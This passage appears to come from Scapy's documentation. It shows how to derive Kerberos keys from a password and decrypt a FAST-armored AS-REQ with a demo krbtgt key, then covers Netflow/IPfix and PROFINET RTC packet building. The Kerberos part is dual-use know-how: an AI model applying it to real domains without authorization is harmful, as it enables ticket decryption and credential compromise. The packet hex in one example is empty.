	string (bytes) – The “string” bytes to use. This is the user password in almost all well-used cases. They must be passed as bytes.


	salt (bytes) – The salt bytes to use. What value to use depends if you are considering a MACHINE account or a USER account, for the latter, it’s just the concatenation of the principal's realm and name components, in order, with no separators. (RFC4120 sect 4)


	params (bytes) – The opaque “parameter” used by string-to-key. The RFC defines this field in a very general manner but it is basically only used in AES, in which it is the iteration count as a big-endian int (struct.pack(">L", 4096) by default)












Let’s run a few examples:

>>> # Get the AES256 key for User1@DOMAIN.LOCAL with "Password1"
>>> from scapy.libs.rfc3961 import Key, EncryptionType
>>> Key.string_to_key(EncryptionType.AES256_CTS_HMAC_SHA1_96, b"Password1", b"DOMAIN.LOCALUser1")
>>> print(_.key)
b'm\x07H\xc5F\xf4\xe9\x92\x05\xe7\x8f\x8d\xa7h\x1dN\xc5R\n\xe4\x81UCr\x0c*d|\x1a\xe8\x14\xc9'






Note

The following example is from https://datatracker.ietf.org/doc/html/rfc3962#appendix-B



>>> # Get the AES128 key for raeburn@ATHENA.MIT.EDU with "password", with an iteration count of 1200
>>> k = Key.string_to_key(EncryptionType.AES128_CTS_HMAC_SHA1_96, b"password", b"ATHENA.MIT.EDUraeburn", struct.pack(">L", 1200))
>>> print(k.key.hex())
'4c01cd46d632d01e6dbe230a01ed642a'







Decrypt FAST


Note

Have a look at RFC6113 [https://datatracker.ietf.org/doc/html/rfc6113.html] for Kerberos FAST



Let’s take a Kerberos AS-REQ packet with FAST armoring (RFC6113):


[image: ../_images/as_req_fast.png]

FAST armoring in AS-REQ. Credit to this paper by A. Bordes [https://www.sstic.org/media/SSTIC2017/SSTIC-actes/administration_en_silo/SSTIC2017-Article-administration_en_silo-bordes.pdf].



>>> pkt = Ether(bytes.fromhex(b''))
>>> pkt[TCP].payload.show()
###[ KerberosTCPHeader ]###
    len       = 2154
###[ Kerberos ]###
    \root      \
    |###[ KRB_AS_REQ ]###
    |  pvno      = 0x5 <ASN1_INTEGER[5]>
    |  msgType   = 'AS-REQ' 0xa <ASN1_INTEGER[10]>
    |  \padata    \
    |   |###[ PADATA ]###
    |   |  padataType= 'PA-FX-FAST' 0x88 <ASN1_INTEGER[136]>
    |   |  \padataValue\
    |   |   |###[ PA_FX_FAST_REQUEST ]###
    |   |   |  \armoredData\
    |   |   |   |###[ KrbFastArmoredReq ]###
    |   |   |   |  \armor     \
    |   |   |   |   |###[ KrbFastArmor ]###
    |   |   |   |   |  armorType = 'FX_FAST_ARMOR_AP_REQUEST' 0x1 <ASN1_INTEGER[1]>
    |   |   |   |   |  \armorValue\
    |   |   |   |   |   |###[ KRB_AP_REQ ]###
    |   |   |   |   |   |  pvno      = 0x5 <ASN1_INTEGER[5]>
    |   |   |   |   |   |  msgType   = 'AP-REQ' 0xe <ASN1_INTEGER[14]>
    |   |   |   |   |   |  apOptions =  <ASN1_BIT_STRING[0000000000...0000000000]=b'\x00\x00\x00\x00' (0 unused bit)>
    |   |   |   |   |   |  \ticket    \
    |   |   |   |   |   |   |###[ KRB_Ticket ]###
    |   |   |   |   |   |   |  tktVno    = 0x5 <ASN1_INTEGER[5]>
    |   |   |   |   |   |   |  realm     = <ASN1_GENERAL_STRING[b'DOM1.LOCAL']>
    |   |   |   |   |   |   |  \sname     \
    |   |   |   |   |   |   |   |###[ PrincipalName ]###
    |   |   |   |   |   |   |   |  nameType  = 'NT-SRV-INST' 0x2 <ASN1_INTEGER[2]>
    |   |   |   |   |   |   |   |  nameString= [<ASN1_GENERAL_STRING[b'krbtgt']>, <ASN1_GENERAL_STRING[b'DOM1.LOCAL']>]
    |   |   |   |   |   |   |  \encPart   \
    |   |   |   |   |   |   |   |###[ EncryptedData ]###
    |   |   |   |   |   |   |   |  etype     = 'AES-256' 0x12 <ASN1_INTEGER[18]>
    |   |   |   |   |   |   |   |  kvno      = 0x2 <ASN1_INTEGER[2]>
    |   |   |   |   |   |   |   |  cipher    = <ASN1_STRING[b'\xac\xc8\xb7g\x1c\rPR/\x1a\x8d\x84R\xceE\n\xce\xb4\x0f\xff\x02)\xe8\xeeTk\xcc\xf1Q.Hw\xef\x93\xdd\xe4eYR`\xa6\xa5\xa8\xe8^\xa3\x86\x00\xce\x8d\xff}Q\x0f<tN,C\xeb\x9d1\x87\xd68\xf7\x16\xc2\x9bnz\xa9\xeb@}\xe2\x8d\x01a\xf4\x90\x13\x96n\xda\n\x16\x1f\xf1t\xda\xd4.z\xa5\x00\xcf\xe2\x98T\x12\x15D\x80\x13\xff\xe4\x88;k\x11f\xf9\x08\xf5\r\xe1)H\x7f\xe7\x7f\xff\x87O\xd4\x10,\xdc\xce\x8d\xb8\xdb\xeb\x8d\xa0/\x08\xcc\x88\xb3y\x0c\xda\xd5\xecI\x99Y\xc7\xe7\x9do\xef\x10}\x1e\x17\xce\x80\xcc=\xf0P\xb7\xe7\xa1\xc3\x1f\'\x8eO\xd4\xea\x95#\xc9P\x87o\x17K\xe3c#O\x84\x95\xb9U\r\xe1V\x0b\xa1}\xae\xaf\xbf\x13?x\x99\x10S\xd9)\xad?\xd6h2}B(\x8ee\x81g\x1d\xaa\xef\x90\x86\x82\xee(.\x17\xc3\x1d\x8f\x8b\xb5]\'\xfc\xe1U\xee.\x84\xa2\xff\x8b\xc9`\x08\x91\xbe\x15\xe6\xed\xe3\xe1\xbb\xd2t*z\xf8\xb0\xa3,H\x97<\x9e7v\xa6\x96G\xba\xb1\x15\x92ulZ\x15\xb9\x10\x1c9.\xfa5\xd0\x00\xab\xb3\xda\xbc\xcd\x97\xe6D&\xe3\xfd\x8dG\xe0\xe3i\xc8;S\x91\xf3\x89G\xd56\xd3Q\xc0a\x08\x1deN\xef\x1a8a\xcd\xb2\xea+\xc4\x82"\xb4P\xd1\xb7\xd0\x9c\x06pI;\xcc\xc6\r\xfc\xaa\\\xfeF\xfdP\xad\xf8\xe3\x88 JF\x91\xdc_\x0c=\xba\xe0\xb4\xdaj\xc2\xddx\x1f\x14\x9aDH@\xaa\xa3\xa3\xc3\xbe\xfbZ\\\x04\xee\x04\x05\xba\xedf\xaf\xcf\x9b\x98\x8d\x10\xea\x14\xa9U\xf4=\xf7\x94e\xe6\xfc\x02\xa1+\xce8p\x98\x89P\xf1\xabH\xe1\xa4\xf8v\xf3Qg\x1cPa\xe69\x9ac\xcb\x04y\xf7\xbd\x01}\xfd\x9b\xc5\xbe\x19/\xafmO\x11\xe6\xee`\x03\x93>\xea\xf62\xf0\x05lL\x1c\xcd\x18=yw\xcf\xca\x85A\x9f\xe5\xb09gD\x19\xd8\x02\x06\x8ey,\x95v\xae*\x88\xbf\xbe\xb1\xf5\x92s"g\x82\xc6\xef\xb2\x88q}\x8fzK\xc3\xbfLi\x7f\xca\xc1\xad\xc1\x82\x9f\n\x91O%Y\xb2x\xcc\xad\xd1\x08\xeb\x87\xa1\x1d\xac\xc8\x8eC\x02\xe9\xafbtt\xe5qq\x19+\x94\xc6\xb3X\xf8\xf9\x8e0\x85\x96!]/\xb9\xd9\xc2\xb4\x9cL\xbe\xdc\xb4?\xc21\xb8o\x04\x93\xd5k\x82\x96,\xf38:\x84\xf8\x92,+\x99\xf8\xfa\x8f\xdd\x85y{\t\xa6\xe6\x0fr\x00|\x03y\x98\x8b\xe2\xff\x1c\xfc\x16\xf2\x13\x00\xc1\xb4\xb7\x84\x17@\x05\xa9\x18_v\x0eh\xef\x94\xb98N\xb2M\xec\xee1\xb6=\x1b\x92\'\x8c\xd7[\x85\xd4\xd8\x0cN\x830e3\xa9\xd9Z\xa6 |\xbf\xbe\xb0\x97\nA\xc4J\xbaY\x83\x9f\x00y#\xec\xd8\xff\r\xe81I\x90\xa45\xdb\xeaM\xed\xbe\xe1o\xafZ\xb2\xbe\x9f\x96\xd6\x91\xcf\xa9\x83\xa6\xc8C\xbd\x18?\x84\xc1\xb4\x99\x8a>\xaa\x90|\xaek\x82\xb0\xae\x83c\xf3\xed\xd8\xcb\x03\xd3\xc9\xc6\x0f\xf5Z\x84\xd8\xa2\x92\xea U_\xbdl\xe5\xadJ\xd7\xa6\xb4\xbc[\xff.\x02\xc4w\xa7\xa8\xa9\x8dZ8}8\x9c\xaa\x17,@\x0b\x15\x1d\x95\x87\x1b*\xa1j\x04\r\xc7\x1a\x9b\xe5\xf0wK\x06\xa5\xca\x87gL\xcbA\t\xa2\xc4\x1d\xb9\xe3\x16\x07\x04!\x8a\xd4\x95\xd0u\x11\x94\xfb\xefK\xec\xaeM{\xe2K\x9d\x96\x8d\xa5\x92%j+"\xcfrN\x98\x9eq\xa6\r\x06\x03\xb5\x9b\xeb\xd4u(_y7\x94\xb7\xa1\x8a\xf4\x9a+hg\x0e:bG\xc4S\'N5\xc8c\xa1kP#\xc6\xc9FY\xe2Z\xbb\'\xc7`\xf9\x89\xac\x0b\xbf\x9a[\x12]\x0e\xa3O\xb02%\xcc\x93\xd5\xb8\xb6\x82\x9e\x90h\x83\xeev\xcf\x8e\xe6\x1d\xfa\xccH\x8e\x8d\xc5\xcb\xc8\xba\x97\x05\xa9\xe9\x15\xa6\x8f\x83\x8229O\x97\xfb\x1a\xacJ*\x90\xfe\x17\xd4o\x9cQ\x94j+\xf9Y\x8d\xf7\xf5\xb5\xe7\xeei*x\x86\x0e\xea<\xeft\x8a[\xe3e)"\x8e@\xb4\xae\xc8>\xbc\x8b\xb1Av\xa4\xc5e\xb0e\x00\xe9Qr)\xb84\x0cU\x81!\x01\xdb\xbck\xeei<5\x870\x82\xa5\xa1\xa5;5\xcf5\t\x19=M\xc5\x17\\\x93`\xa0\r\xa7\x16\x92\xba [2d\xae\xcc\x9e\xcc\x8b\xca1\xfe\xc4>\xfc\x87\x01B;\xb4\x84\xf6\xf2\x16\x99C\x9d\xd3\x0fq"\x8f\x16\xea\xab\x96\xb7\xde5Gr\x1d\x165\xbb\xfePg\x89\x00\xac7\x8aIX\xb6\xc3Id\xf3\xe0\xdc\x848\x80\xdb\xdeW\xfbJv\xab\x85\xeb\xa2\xb1\x90\xbf\xda\xef\xc7\xba\x17\xe1\t\xf89I;\x0f-o\xc7\xea\x17@;\xeb\xe0o(\t1L\xa5\x14`oTf\x80\x826N\xd6u \x19\xf2~\x1d\xf7O\x93\xfc\xf1\xc2V0\xa2\x97\x13\xa8\x9dJ\x99\x8cDK\xc9\x12y\xc6\xfcf\xe0\xaa]\xecr\xbe1n\x11`\xcf\x9f\x90\xd5\x91\\FKk\xfe\xc5!n\x90\x1b\xe4rm\xb5\x96\xa1WEQ\x1ccsji\xac\x9e\xcb\x9e\x86`\x1cc\x1bI\x92e<2\x0ei\x83V/\xa6\x13\x13E`\xcb`f!\xe9f\x1a\xc5\x96\x13\x13\xeep\x86\x8a\xb4\x8d`\x10\x17=\x8a\x96\xff\xfd\xb2\xba\xf4\xaf\xe1\x8c\x84m?\xedo0\xb9\xa8\t\xd7.dw5\xfcSn\xde\xc5C\xab\xc22H\r(f\x03\x95']>
    |   |   |   |   |   |  \authenticator\
    |   |   |   |   |   |   |###[ EncryptedData ]###
    |   |   |   |   |   |   |  etype     = 'AES-256' 0x12 <ASN1_INTEGER[18]>
    |   |   |   |   |   |   |  kvno      = None
    |   |   |   |   |   |   |  cipher    = <ASN1_STRING[b'\x12s\xd5\xafa\xadBmQ\xd0u~\x89y\x17\xca\xebo\xc1\xb6\x95\x05T\xe8\xd7P\xf9]\'\xf4D\xe3\xaa\xf7\xae\x0b\xf4Y[^\x90m\x96\x82\xdb\xde\xed\xcfn\xb4*\x84\xab\x80\x92\x99{x?Wq\x01\'"\x81e\xde\xeb,\xe5\xe0\x9e-\xdcqU]\xc3\x19p\xa81-\x88\x8b\x8a\xe7f8 \x98\'mb\xb4\xbdv\xf3L\xbc\x88\x9e$\xadT\x05\xec\x03|\xebrO\xdbq\xfe$\x7f\xe2\xa4\x14\xa07\xed3\xc7\x96\xf4G_\xcf\xb5\x99>\xed\x14{mc\xd7@\xd5\x8d\xa5\xb0']>
    |   |   |   |  checksumtype= 'HMAC-SHA1-96-AES256' 0x10 <ASN1_INTEGER[16]>
    |   |   |   |  checksum  = <ASN1_STRING[b'u\xf0-\x8d)T\xe0\xae\x1a\x9e\x06S']>
    |   |   |   |  \encFastReq\
    |   |   |   |   |###[ EncryptedData ]###
    |   |   |   |   |  etype     = 'AES-256' 0x12 <ASN1_INTEGER[18]>
    |   |   |   |   |  kvno      = None
    |   |   |   |   |  cipher    = <ASN1_STRING[b'<\xaf4\xec\xef\xd8Lxg\x03\xc2\x009\xdea\xbc\x01\xeb\xed\x9b\xe7\xe5\x1c\x90\xa5\x82\xfe\xc8Rik\xf9/\xd1e\xcd[^\xf0\xf9\xb8\xed\xb6f\xc9\xcc\xa5i\r6N\\j\xd6\x9e}[\xc7\xe0Uuz\xaab\x06B\x8a0%$\x14M]\x97\xcc\x0bd\xdb\x133PE\x03\x91q\xed\x1f\r\x11\x1c\xa1\xbdFQ\xeb\xca=t\xdb\x02\x9e\\m<\x7f\x86\x00\xc4NU\xb1L\xd3\xc7\xf6\xa1\\\x913@\x0eBU\xd7\x1f#{\xf2\x88\xc1\x86\x13|\xd0J_,\xab\xba1f\xde[\xf1\x11\x90\xa2\xe5\x96.M\xbb\xfb\x98\x01\xe3\xbes\xed\xe5\xa56\xeb\'\xa0\x86\xb6D\xf1"E\x19\x84Y\xc0c\xb8\xec\xba"\x8e\x1f\x92\t\xe0Z[\xcb\xb3\x9a\x12e\x1e\x1048\xeey\x98\xe6f\xd8b\x88\x12\xfa4\xbc\x07\xf4\xc4\xd0\xa4\xd8o\xe2\x07\x12\x8d\xe3~\x1f\xfd\x16\x9aL\xb8y\xcb[\x9d\xb8\xf9\xc3\xe8aC\xbf\xd44\t\xcaG\xe9\x0f;\xc8H\xa1\x83\x8f\xcer\t\xf5r\x96\xe4Ic\xa2\xd1\xe3\xd4']>
    |  \reqBody   \
    |   |###[ KRB_KDC_REQ_BODY ]###
    |   |  kdcOptions= forwardable, renewable, canonicalize, renewable-ok <ASN1_BIT_STRING[0100000010...0000010000]=b'@\x81\x00\x10' (0 unused bit)>
    |   |  \cname     \
    |   |   |###[ PrincipalName ]###
    |   |   |  nameType  = 'NT-PRINCIPAL' 0x1 <ASN1_INTEGER[1]>
    |   |   |  nameString= [<ASN1_GENERAL_STRING[b'adm-0-fastenb']>]
    |   |  realm     = <ASN1_GENERAL_STRING[b'DOM1']>
    |   |  \sname     \
    |   |   |###[ PrincipalName ]###
    |   |   |  nameType  = 'NT-SRV-INST' 0x2 <ASN1_INTEGER[2]>
    |   |   |  nameString= [<ASN1_GENERAL_STRING[b'krbtgt']>, <ASN1_GENERAL_STRING[b'DOM1']>]
    |   |  from      = None
    |   |  till      = 2037-09-13 02:48:05 UTC <ASN1_GENERALIZED_TIME['20370913024805Z']>
    |   |  rtime     = 2037-09-13 02:48:05 UTC <ASN1_GENERALIZED_TIME['20370913024805Z']>
    |   |  nonce     = 0x3f58a7a0 <ASN1_INTEGER[1062774688]>
    |   |  etype     = [0x12 <ASN1_INTEGER[18]>, 0x11 <ASN1_INTEGER[17]>, 0x17 <ASN1_INTEGER[23]>, 0x18 <ASN1_INTEGER[24]>, -0x87 <ASN1_INTEGER[-135]>, 0x3 <ASN1_INTEGER[3]>]
    |   |  \addresses \
    |   |   |###[ HostAddress ]###
    |   |   |  addrType  = 'NetBios' 0x14 <ASN1_INTEGER[20]>
    |   |   |  address   = <ASN1_STRING[b'SRV             ']>
    |   |  encAuthorizationData= None
    |   |  additionalTickets= None





There are 3 encrypted payloads:


	pkt.root.padata[0].padataValue.armoredData.armor.armorValue.ticket.encPart, encrypted using the KRBTGT


	pkt.root.padata[0].padataValue.armoredData.armor.armorValue.authenticator, encrypted using the ticket session key (that the clients gets from the first AS-REQ, and that that is also included in tickets for the server to use)


	pkt.root.padata[0].padataValue.armoredData.encFastReq, encrypted using using the armor key




We have the krbtgt for this demo:

>>> from scapy.libs.rfc3961 import Key, EncryptionType
>>> krbtgt_hex = "ac67a63d7155791fe31dace230ab516e818c453dfdbd44cbe691b240725c4907"
>>> krbtgt = Key(EncryptionType.AES256_CTS_HMAC_SHA1_96, key=bytes.fromhex(krbtgt_hex))





We can therefore decrypt the first payload:

>>> enc = pkt.root.padata[0].padataValue.armoredData.armor.armorValue.ticket.encPart
>>> encticketpart = enc.decrypt(krbtgt)
>>> encticketpart.show()
###[ EncTicketPart ]###
    flags     = forwardable, renewable, initial, pre-authent <ASN1_BIT_STRING[0100000011...0000000000]=b'@\xe1\x00\x00' (0 unused bit)>
    \key       \
    |###[ EncryptionKey ]###
    |  keytype   = 'AES-256' 0x12 <ASN1_INTEGER[18]>
    |  keyvalue  = <ASN1_STRING[b'\xe3\xa2\x0f\x8e\xb2\xe1*\xe0\x7f\x86\xcc\x88\xe6,\x08>B\xd8)m/G\x82B;\x9f+\x86\xcd\xcd\xf4\x05']>
    crealm    = <ASN1_GENERAL_STRING[b'DOM1.LOCAL']>
    \cname     \
    |###[ PrincipalName ]###
    |  nameType  = 'NT-PRINCIPAL' 0x1 <ASN1_INTEGER[1]>
    |  nameString= [<ASN1_GENERAL_STRING[b'SRV$']>]
    \transited \
    |###[ TransitedEncoding ]###
    |  trType    = 0x0 <ASN1_INTEGER[0]>
    |  contents  = <ASN1_STRING[b'']>
    authtime  = 2022-07-12 23:02:25 UTC <ASN1_GENERALIZED_TIME['20220712230225Z']>
    starttime = 2022-07-12 23:02:25 UTC <ASN1_GENERALIZED_TIME['20220712230225Z']>
    endtime   = 2022-07-13 09:02:25 UTC <ASN1_GENERALIZED_TIME['20220713090225Z']>
    renewTill = 2022-07-19 23:02:25 UTC <ASN1_GENERALIZED_TIME['20220719230225Z']>
    addresses = None
[...]





We can see the ticket session key in there, let’s retrieve it and build a Key object:


Note

We use the .toKey() function in the EncryptedKey type which is a shorthand for Key(<keytype>, key=<keyvalue>)



>>> ticket_session_key = encticketpart.key.toKey()
>>> ticket_session_key.key
b'\xe3\xa2\x0f\x8e\xb2\xe1*\xe0\x7f\x86\xcc\x88\xe6,\x08>B\xd8)m/G\x82B;\x9f+\x86\xcd\xcd\xf4\x05'





We can now decrypt the second payload:

>>> enc = pkt.root.padata[0].padataValue.armoredData.armor.armorValue.authenticator
>>> authenticator = enc.decrypt(ticket_session_key)
>>> authenticator.show()
###[ KRB_Authenticator ]###
    authenticatorPvno= 0x5 <ASN1_INTEGER[5]>
    crealm    = <ASN1_GENERAL_STRING[b'DOM1.LOCAL']>
    \cname     \
    |###[ PrincipalName ]###
    |  nameType  = 'NT-PRINCIPAL' 0x1 <ASN1_INTEGER[1]>
    |  nameString= [<ASN1_GENERAL_STRING[b'SRV$']>]
    checksumtype= 0x0 <ASN1_INTEGER[0]>
    checksum  = <ASN1_STRING['']>
    cusec     = 0x3c <ASN1_INTEGER[60]>
    ctime     = 2022-07-12 23:54:37 UTC <ASN1_GENERALIZED_TIME['20220712235437Z']>
    \subkey    \
    |###[ EncryptionKey ]###
    |  keytype   = 'AES-256' 0x12 <ASN1_INTEGER[18]>
    |  keyvalue  = <ASN1_STRING[b'%\xa4n\xe1\xd0\xf5\x8d\xc4\x8d\xecv\xe8\x9c\xd3\xc9\xee\x1bu\xc9\xa5\xa6\xf8\x83f\x98\xa1\xd9\xe7*I\x9b\xf8']>
    seqNumber = 0x0 <ASN1_INTEGER[0]>
    encAuthorizationData= None





Again, we see inside this the subkey that is used to compute the armor key. We get it:

>>> subkey = authenticator.subkey.toKey()
>>> subkey.key
b'%\xa4n\xe1\xd0\xf5\x8d\xc4\x8d\xecv\xe8\x9c\xd3\xc9\xee\x1bu\xc9\xa5\xa6\xf8\x83f\x98\xa1\xd9\xe7*I\x9b\xf8'





Following RFC6113 sect 5.4.1.1 [https://datatracker.ietf.org/doc/html/rfc6113.html#section-5.4.1.1], we can now compute the armor key using:

>>> from scapy.libs.rfc3961 import KRB_FX_CF2
>>> armorkey = KRB_FX_CF2(subkey, ticket_session_key, b"subkeyarmor", b"ticketarmor")
>>> print(armorkey.key)
b'\x9f\x18L]I\x16\xd0\xe5\xa6\xd9\x92+\xbf\xbc\xe0\n\xd1\xcb6\xf3\xd1.C\xc2\xdcp\xf0H(\x99\x14\x80'





That we can now use to decrypt the last payload:

>>> enc = pkt.root.padata[0].padataValue.armoredData.encFastReq
>>> krbfastreq = enc.decrypt(armorkey)
>>> krbfastreq.show()
###[ KrbFastReq ]###
    fastOptions=  <ASN1_BIT_STRING[0000000000...0000000000]=b'\x00\x00\x00\x00' (0 unused bit)>
    \padata    \
    |###[ PADATA ]###
    |  padataType= 'PA-PAC-REQUEST' 0x80 <ASN1_INTEGER[128]>
    |  \padataValue\
    |   |###[ PA_PAC_REQUEST ]###
    |   |  includePac= True <ASN1_BOOLEAN[-1]>
    |###[ PADATA ]###
    |  padataType= 'PA-PAC-OPTIONS' 0xa7 <ASN1_INTEGER[167]>
    |  \padataValue\
    |   |###[ PA_PAC_OPTIONS ]###
    |   |  options   = Claims <ASN1_BIT_STRING[1000000000...0000000000]=b'\x80\x00\x00\x00' (0 unused bit)>
    \reqBody   \
    |###[ KRB_KDC_REQ_BODY ]###
    |  kdcOptions= forwardable, renewable, canonicalize, renewable-ok <ASN1_BIT_STRING[0100000010...0000010000]=b'@\x81\x00\x10' (0 unused bit)>
    |  \cname     \
    |   |###[ PrincipalName ]###
    |   |  nameType  = 'NT-PRINCIPAL' 0x1 <ASN1_INTEGER[1]>
    |   |  nameString= [<ASN1_GENERAL_STRING[b'adm-0-fastenb']>]
    |  realm     = <ASN1_GENERAL_STRING[b'DOM1']>
    |  \sname     \
    |   |###[ PrincipalName ]###
    |   |  nameType  = 'NT-SRV-INST' 0x2 <ASN1_INTEGER[2]>
    |   |  nameString= [<ASN1_GENERAL_STRING[b'krbtgt']>, <ASN1_GENERAL_STRING[b'DOM1']>]
    |  from      = None
    |  till      = 2037-09-13 02:48:05 UTC <ASN1_GENERALIZED_TIME['20370913024805Z']>
    |  rtime     = 2037-09-13 02:48:05 UTC <ASN1_GENERALIZED_TIME['20370913024805Z']>
    |  nonce     = 0x3f58a7a0 <ASN1_INTEGER[1062774688]>
    |  etype     = [0x12 <ASN1_INTEGER[18]>, 0x11 <ASN1_INTEGER[17]>, 0x17 <ASN1_INTEGER[23]>, 0x18 <ASN1_INTEGER[24]>, -0x87 <ASN1_INTEGER[-135]>, 0x3 <ASN1_INTEGER[3]>]
    |  \addresses \
    |   |###[ HostAddress ]###
    |   |  addrType  = 'NetBios' 0x14 <ASN1_INTEGER[20]>
    |   |  address   = <ASN1_STRING[b'SRV             ']>
    |  encAuthorizationData= None
    |  additionalTickets= None







Encryption

A  encrypt() function exists in the Key object in order to do the opposite of decrypt().

For instance, during pre-authentication, encode PA-ENC-TIMESTAMP:

>>> from datetime import datetime
>>> from scapy.libs.rfc3961 import Key, EncryptionType
>>> # Create the PADATA layer with its EncryptedValue
>>> pkt = PADATA(padataType=0x2, padataValue=EncryptedData())
>>> # Compute the key
>>> key = Key.string_to_key(EncryptionType.AES256_CTS_HMAC_SHA1_96, b"Password1", b"DOMAIN.LOCALUser1")
>>> now_time = datetime.now(timezone.utc).replace(microsecond=0)  # Current time with no milliseconds
>>> # Encrypt
>>> pkt.padataValue.encrypt(key, PA_ENC_TS_ENC(patimestamp=ASN1_GENERALIZED_TIME(now_time)))
>>> pkt.show()
###[ PADATA ]###
    padataType= 2
    \padataValue\
    |###[ EncryptedData ]###
    |  etype     = 18
    |  kvno      = 0x0 <ASN1_INTEGER[0]>
    |  cipher    = b"\xc1\x9a\xaf\x89V\x16\x82\xb6\x9a\xcb\x15[\xaf\xed\xd9\xfc\x04\xbf\x18\xd4&\x91\xb3\xcf~tEk,\x98m\xee\xa4O\x05=\x11b\xe05\xca\x92+80\x99\xb1'~\x8d\xdbtz\xa8"










            

          

      

      

    

  

    
      
          
            
  
Netflow

Netflow packets mainly comes in 3 versions:

- ``Netflow V5``
- ``Netflow V7``
- ``Netflow V9 / V10 (IPfix)``





While the two first versions are pretty straightforward, building or dissecting Netflow v9/v10 isn’t easy.


Netflow V1

netflow = NetflowHeader()/NetflowHeaderV1()/NetflowRecordV1()
pkt = Ether()/IP()/UDP()/netflow







Netflow V5

netflow = NetflowHeader()/NetflowHeaderV5(count=1)/NetflowRecordV5(dst="192.168.0.1")
pkt = Ether()/IP()/UDP()/netflow







NetflowV9 / IPfix

Netflow v9 and IPfix use a template based system. This means that records that are sent over the wire require a “Template” to be sent previously in a Flowset packet.

This template is required to understand thr format of the record, therefore needs to be provided when building or dissecting those.

Fortunately, Scapy knows how to detect the templates and will provide dissecting methods that take care of that.


Note

The following examples apply to Netflow V9. When using IPfix, use the exact same format but replace the class names with their V10 counterpart (if they exist ! Scapy shares some classes between the two). Have a look at netflow




	Build




header = Ether()/IP()/UDP()
netflow_header = NetflowHeader()/NetflowHeaderV9()

# Let's first build the template. Those need an ID > 255.
# The (full) list of possible fieldType is available in the
# NetflowV910TemplateFieldTypes list. You can also use the int value.
flowset = NetflowFlowsetV9(
    templates=[NetflowTemplateV9(
        template_fields=[
            NetflowTemplateFieldV9(fieldType="IN_BYTES", fieldLength=1),
            NetflowTemplateFieldV9(fieldType="IN_PKTS", fieldLength=4),
            NetflowTemplateFieldV9(fieldType="PROTOCOL"),
            NetflowTemplateFieldV9(fieldType="IPV4_SRC_ADDR"),
            NetflowTemplateFieldV9(fieldType="IPV4_DST_ADDR"),
        ],
        templateID=256,
        fieldCount=5)
    ],
    flowSetID=0
)
# Let's generate the record class. This will be a Packet class
# In case you provided several templates in ghe flowset, you will need
# to pass the template ID as second parameter
recordClass = GetNetflowRecordV9(flowset)
# Now lets build the data records
dataFS = NetflowDataflowsetV9(
    templateID=256,
    records=[ # Some random data.
        recordClass(
            IN_BYTES=b"\x12",
            IN_PKTS=b"\0\0\0\0",
            PROTOCOL=6,
            IPV4_SRC_ADDR="192.168.0.10",
            IPV4_DST_ADDR="192.168.0.11"
        ),
        recordClass(
            IN_BYTES=b"\x0c",
            IN_PKTS=b"\1\1\1\1",
            PROTOCOL=3,
            IPV4_SRC_ADDR="172.0.0.10",
            IPV4_DST_ADDR="172.0.0.11"
        )
    ],
)
pkt = header / netflow_header / flowset / dataFS






	Dissection




Scapy provides two methods to parse NetflowV9/IPFix:


	NetflowSession: to use with sniff(session=NetflowV9Session, [...])


	netflowv9_defragment(): to use on a packet or list of packets.




With the previous example:

pkt = Ether(raw(pkt))  # will loose the defragmentation
pkt = netflowv9_defragment(pkt)[0]









            

          

      

      

    

  

    
      
          
            
  
PROFINET IO RTC

PROFINET IO is an industrial protocol composed of different layers such as the Real-Time Cyclic (RTC) layer, used to exchange data. However, this RTC layer is stateful and depends on a configuration sent through another layer: the DCE/RPC endpoint of PROFINET. This configuration defines where each exchanged piece of data must be located in the RTC data buffer, as well as the length of this same buffer. Building such packet is then a bit more complicated than other protocols.


RTC data packet

The first thing to do when building the RTC data buffer is to instantiate each Scapy packet which represents a piece of data. Some of the basic packets are:


	ProfinetIO: the building block for PROFINET packets. Can be layered on top of Ether() or UDP()


	PROFIsafe: the PROFIsafe profile to perform functional safety


	PNIORealTime_IOxS: either an IO Consumer or Provider Status byte




Instantiate the packets as follows:

>>> load_contrib('pnio')
>>> raw(ProfinetIO()/b'AAA')
b'\x00\x00AAA'
>>> raw(PROFIsafe.build_PROFIsafe_class(PROFIsafeControl, 4)(data = b'AAA', control=0x20, crc=0x424242))
b'AAA\x00 BBB'
>>> hexdump(PNIORealTime_IOxS())
0000   80                                                 .







RTC packet

Now that a data packet can be instantiated, a whole RTC packet may be built. PNIORealTimeCyclicPDU contains a field data which is a list of all data packets to add in the buffer, however, without the configuration, Scapy won’t be
able to dissect it:

>>> load_contrib('pnio')
>>> p=PNIORealTimeCyclicPDU(cycleCounter=1024, data=[
... PNIORealTime_IOxS(),
... PNIORealTimeCyclicPDU.build_fixed_len_raw_type(4)(data = b'AAA') / PNIORealTime_IOxS(),
... PROFIsafe.build_PROFIsafe_class(PROFIsafeControl, 4)(data = b'AAA', control=0x20, crc=0x424242)/PNIORealTime_IOxS(),
... ])
>>> p.show()
###[ PROFINET Real-Time ]###
  \data      \
   |###[ PNIO RTC IOxS ]###
   |  dataState = good
   |  instance  = subslot
   |  reserved  = 0x0
   |  extension = 0
   |###[ FixedLenRawPacketLen4 ]###
   |  data      = 'AAA'
   |###[ PNIO RTC IOxS ]###
   |     dataState = good
   |     instance  = subslot
   |     reserved  = 0x0
   |     extension = 0
   |###[ PROFISafe Control Message with F_CRC_Seed=0 ]###
   |  dat(      = 'AAA'
   |  control   = Toggle_h
   |  crc       = 0x424242
   |###[ PNIO RTC IOxS ]###
   |     dataState = good
   |     instance  = subslot
   |     reserved  = 0x0
   |     extension = 0
  padding   = ''
  cycleCounter= 1024
  dataStatus= primary+validData+run+no_problem
  transferStatus= 0





For Scapy to be able to dissect it correctly, one must also configure the layer for it to know the location of each data in the buffer. This configuration is saved in the dictionary conf.contribs["PNIO_RTC"] which can be updated with the conf.contribs["PNIO_RTC"].update method. Each item in the dictionary uses the tuple (Ether.src, Ether.dst, ProfinetIO.frameID) as key, to be able to separate the configuration of each communication. Each value is then a list of classes which describes a data packet. If we continue the previous example, here is the configuration to set:

>>> e=Ether(src='00:01:02:03:04:05', dst='06:07:08:09:0a:0b') / ProfinetIO(frameID="RT_CLASS_1") / p
>>> e.show2()
###[ Ethernet ]###
  dst       = 06:07:08:09:0a:0b
  src       = 00:01:02:03:04:05
  type      = 0x8892
###[ ProfinetIO ]###
     frameID   = RT_CLASS_1 (8000)
###[ PROFINET Real-Time ]###
        \data      \
         |###[ PROFINET IO Real Time Cyclic Default Raw Data ]###
         |  data      = '\\x80AAA\x00\\x80AAA\x00 BBB\\x80'
        padding   = ''
        cycleCounter= 1024
